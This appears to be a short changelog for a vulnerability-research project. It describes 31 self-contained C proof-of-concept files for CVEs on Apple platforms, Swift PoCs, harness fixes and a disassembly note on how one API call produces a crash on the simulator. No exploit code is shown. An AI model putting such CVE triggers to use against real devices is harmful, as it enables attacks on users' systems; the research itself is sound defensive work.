- 31 C POC files, one per CVE folder: full seed construction + trigger + main(), self-contained, no app dependency. All compile clean with clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded oracle on this host. - CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the mechanism behind the cm.rpu death oracle on the simulator build. - Harness fixes: glyphCount guard, MachOInspector size guard, ModTools clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display. - POC comments rewritten English-only (31 swift + arc.rr + 5 py). - README (en/zh): C twin column, .c anatomy section, compile/run examples, C oracle verification status. - Dead if-let binding removed from Identity summary; v2.0 build 3.
